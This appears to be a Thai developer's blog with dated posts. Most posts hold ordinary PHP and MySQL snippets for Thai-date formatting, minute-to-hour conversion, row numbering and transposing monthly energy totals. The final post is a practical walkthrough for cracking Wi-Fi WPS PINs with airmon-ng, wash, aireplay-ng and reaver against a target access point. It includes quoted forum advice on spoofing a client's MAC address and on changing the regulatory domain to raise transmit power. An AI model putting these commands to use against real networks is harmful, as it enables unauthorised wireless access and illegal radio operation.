วันอังคารที่ 6 พฤษภาคม พ.ศ. 2557

php แปลง วันเดือนปี เป็นแบบวันที่ไทย & number format

<?php
// กำหนดการแสดงผลตัวเลข number format
function digi2($num1){
$num = number_format($num1,2);
return $num;
}
function digi($num2){
$num3 = number_format($num2);
return $num3;
}

// แปลงวันที่แบบสากล เป็นแบบไทย
$thai_day_arr=array("อาทิตย์","จันทร์","อังคาร","พุธ","พฤหัสบดี","ศุกร์","เสาร์");
$thai_month_arr=array(
"0"=>"",
"1"=>"มกราคม",
"2"=>"กุมภาพันธ์",
"3"=>"มีนาคม",
"4"=>"เมษายน",
"5"=>"พฤษภาคม",
"6"=>"มิถุนายน",
"7"=>"กรกฎาคม",
"8"=>"สิงหาคม",
"9"=>"กันยายน",
"10"=>"ตุลาคม",
"11"=>"พฤศจิกายน",
"12"=>"ธันวาคม"
);
function thai_date($time){
global $thai_day_arr,$thai_month_arr;
//$thai_date_return="วัน".$thai_day_arr[date("w",$time)];
$thai_date_return = date("j",$time);
$thai_date_return.= " ".$thai_month_arr[date("n",$time)];
$thai_date_return.= " ".(date("Y",$time)+543);
//$thai_date_return.= "  ".date("H:i",$time)." น.";
return $thai_date_return;
}
function thai_sdate($time){
global $thai_day_arr,$thai_month_arr;
//$thai_sdate_return="วัน".$thai_day_arr[date("w",$time)];
$thai_sdate_return = date("j",$time);
$thai_sdate_return.= " ".$thai_month_arr[date("n",$time)];
//$thai_date_return.= " พ.ศ.".(date("Y",$time)+543);
//$thai_date_return.= "  ".date("H:i",$time)." น.";
return $thai_sdate_return;
}

// การใช้งาน
  $dt1=strtotime($row_rs_report['dates']);  //กำหนดตัวแปล
   echo thai_date($dt1); //การแสดงผล

?>

php แปลง นาที ฐานร้อย เป็น ชั่วโมง เวลา Function to convert minutes to hours


<?php
function m2h($mins) {
    if ($mins < 0) {
        $min = Abs($mins);
    } else {
        $min = $mins;
    }
    $H = Floor($min / 60);
    $M = ($min - ($H * 60)) / 100;
    $hours = $H + $M;
    if ($mins < 0) {
        $hours = $hours * (-1);
    }

    $expl = explode(".", $hours);
    $H = $expl[0];
    if (empty($expl[1])) {
        $expl[1] = 00;
    }

    $M = $expl[1];
    if (strlen($M) < 2) {
        $M = $M . 0;
    }

    $hours = $H . "." . $M;

    return $hours;
}
?>

วันจันทร์ที่ 21 เมษายน พ.ศ. 2557

Mysql เพิ่ม Field การนับจำนวนแถว ขึ้นมาในการแสดงผล





MYSQL ==>

SELECT @i:=@i+1 as idx , `sk_water`.`dates` as dates,
              `sk_water`.`forebay` as forebay,
              sum(`sk_water`.`releases`) as sumrel,
              `sk_water`.`nextday_rel_plan` as nowplan,
              (sum(`sk_water`.`u1_energy`)+
              sum(`sk_water`.`u2_energy`)+
              sum(`sk_water`.`u3_energy`)+
              sum(`sk_water`.`u4_energy`)) as engr
       FROM (SELECT @i:=0) AS _init
       join`sk_water`
       WHERE (year(`sk_water`.`dates`) BETWEEN
     
             (
               SELECT max(year(`sk_water`.`dates`)-1)
               FROM `sk_water`
             ) AND (
               SELECT max(year(`sk_water`.`dates`))
               FROM `sk_water`)
             )
group by dates



วันอาทิตย์ที่ 20 เมษายน พ.ศ. 2557

ทำข้อมูลรายชั่วโมงให้แสดงผลเป็นรายเดือน และแปลงตารางจาก Row to Column (Transpose Table)

ทำข้อมูลรายชั่วโมงให้แสดงผลเป็นรายเดือน

Mysql Code => 

SELECT
 year(`sk_water`.`dates`) as years,
  MONTH(`sk_water`.`dates`) as months,
  sum(`sk_water`.`u1_energy` + `sk_water`.`u2_energy`+`sk_water`.`u3_energy`+
  `sk_water`.`u4_energy`) as sumengr
FROM
  `sk_water`
GROUP BY EXTRACT(YEAR_MONTH FROM `sk_water`.`dates`)
order by
year(`sk_water`.`dates`),  MONTH(`sk_water`.`dates`)

Result =>


 ปรับตารางการแสดงผลให้เป็นแบบ Transpose (ปรับจาก Row to Column)

** ก่อนจะทำการปรับตารางได้จะต้องนำ SQL ข้างบนไปทำเป็น รูปแบบ View Table ก่อน
    ตั้งชื่อว่า show_month_year

  จากนั้นใช้คำสั่ง SQL ทำการปรับตาราง
Mysql Code => 
   SELECT show_month_year.years,
          MAX(CASE WHEN show_month_year.`months` = '1' THEN show_month_year.`sumengr` ELSE NULL END) AS Jan,
          MAX(CASE WHEN show_month_year.`months` = '2' THEN show_month_year.`sumengr` ELSE NULL END) AS Feb,
          MAX(CASE WHEN show_month_year.`months` = '3' THEN show_month_year.`sumengr` ELSE NULL END) AS Mar,
          MAX(CASE WHEN show_month_year.`months` = '4' THEN show_month_year.`sumengr` ELSE NULL END) AS Apr,
          MAX(CASE WHEN show_month_year.`months` = '5' THEN show_month_year.`sumengr` ELSE NULL END) AS May,
          MAX(CASE WHEN show_month_year.`months` = '6' THEN show_month_year.`sumengr` ELSE NULL END) AS Jun,          
          MAX(CASE WHEN show_month_year.`months` = '7' THEN show_month_year.`sumengr` ELSE NULL END) AS July,
          MAX(CASE WHEN show_month_year.`months` = '8' THEN show_month_year.`sumengr` ELSE NULL END) AS Aug,
          MAX(CASE WHEN show_month_year.`months` = '9' THEN show_month_year.`sumengr` ELSE NULL END) AS Sep,
          MAX(CASE WHEN show_month_year.`months` = '10' THEN show_month_year.`sumengr` ELSE NULL END) AS Oct,
          MAX(CASE WHEN show_month_year.`months` = '11' THEN show_month_year.`sumengr` ELSE NULL END) AS Nov,
          MAX(CASE WHEN show_month_year.`months` = '12' THEN show_month_year.`sumengr` ELSE NULL END) AS Decs 
    FROM `show_month_year`
    WHERE show_month_year.years BETWEEN '2008' and '2010'
GROUP BY `show_month_year`.`years`

Result =>


วันอาทิตย์ที่ 15 ธันวาคม พ.ศ. 2556

php เพิ่มวัน - เดือน - ปี ในการแสดงผล

บวกวันเพิ่ม
  1. $datedate = date ("Y-m-d", strtotime("+1 day", strtotime($date)));
บวกเดือนเพิ่ม
  1. $datedate = date ("Y-m-d", strtotime("+1 month", strtotime($date)));
บวกปีเพิ่ม
  1. $datedate = date ("Y-m-d", strtotime("+1 year", strtotime($date)));  
<?php
echo date('Y-m-d', strtotime('+1 month'))."";
echo date('Y-m-d',strtotime("now"))."
"
;
echo date('Y-m-d',strtotime("10 September 2000"))."
"
;
echo date('Y-m-d',strtotime("+1 day"))."
"
;
echo date('Y-m-d',strtotime("+1 week"))."
"
;
echo date('Y-m-d',strtotime("+1 week 2 days 4 hours 2 seconds"))."
"
;
echo date('Y-m-d',strtotime("next Thursday"))."
"
;
echo date('Y-m-d',strtotime("last Monday"))."
"
;
echo date("Y-m-d H:i:s", mktime(date("H"), date("i")+0, date("s")+0, date("m")+0 , date("d")+0, date("Y")+0))."
"
;
?>
<?php
echo date('Y-m-d',strtotime('+1 month'))."<br>";
echo date('Y-m-d',strtotime("now"))."<br>";
echo date('Y-m-d',strtotime("10 September 2000"))."<br>";
echo date('Y-m-d',strtotime("+1 day"))."<br>";
echo date('Y-m-d',strtotime("+1 week"))."<br>";
echo date('Y-m-d',strtotime("+1 week 2 days 4 hours 2 seconds"))."<br>";
echo date('Y-m-d',strtotime("next Thursday"))."<br>";
echo date('Y-m-d',strtotime("last Monday"))."<br>";
echo date("Y-m-d H:i:s", mktime(date("H"), date("i")+0, date("s")+0, date("m")+0  , date("d")+0, date("Y")+0))."<br>";
?>

วันพฤหัสบดีที่ 17 ตุลาคม พ.ศ. 2556

Reaver Pro Fix Warning: Failed to associate

1.
enable mon0 
airmon-ng start wlan0

Check for the wps enabled wpa wifi (this can also be done with wifite.py)
#wash -i mon0 -C

set your channel to the same AP in whiich you are interested 
#iwconfig mon0 channel <channel of AP eg. 11>

start aireplay 
#aireplay-ng mon0 -1 120 -a <MAC of AP> -e <AP name>

start reaver 
#reaver -i mon0 -A -b <MAC of AP> -v


2.
Re: reaver "associate" problem
« Reply #9 on: September 28, 2012, 12:50:21 AM »

Some association fixes i've tried that have worked for me:

of course do yer scan
we'll call yer alfa wlan1

airmon-ng start wlan1
airodump-ng mon0
ya do yer scan find yer target etc
from terminal open split window
ctrl+shift+o
click on previous window then
ctrl+c to stop it or space bar to pause
back down to lower window
airodump-ng --bssid (target) -c (whatever channel) mon0
ctrl+shift+o split yer window
aireplay-ng - 1 10 -a (target) mon0
now she's associaten
doesn't mean things are gonna work
but worth a try
now open yet another window in terminal
ctrl+shift+0
reaver -i mon0 -A -b (target) -v
see if ya get wps comen in
if not another idea
when you ran airodump on the target before
if there is a station on that network
copy the mac down of that station
then shut down airmon
airmon-ng wlan1 stop
ifconfig wlan1 down
ifconfig wlan1 hw ether (station mac)
ifconfig wlan1 up
airmon-ng wlan1 start
then do yer aireplay
associate
then run reaver again with the -A in there
so reaver doesn't associate
you can also try boosting the alfa:
before monitor mode:
Boost Alfa:
before monitor mode
iw reg set BO
iwconfig wlan1 txpower 30

might want to try txpower 25 first
check make sure card isn't too warm
after a bit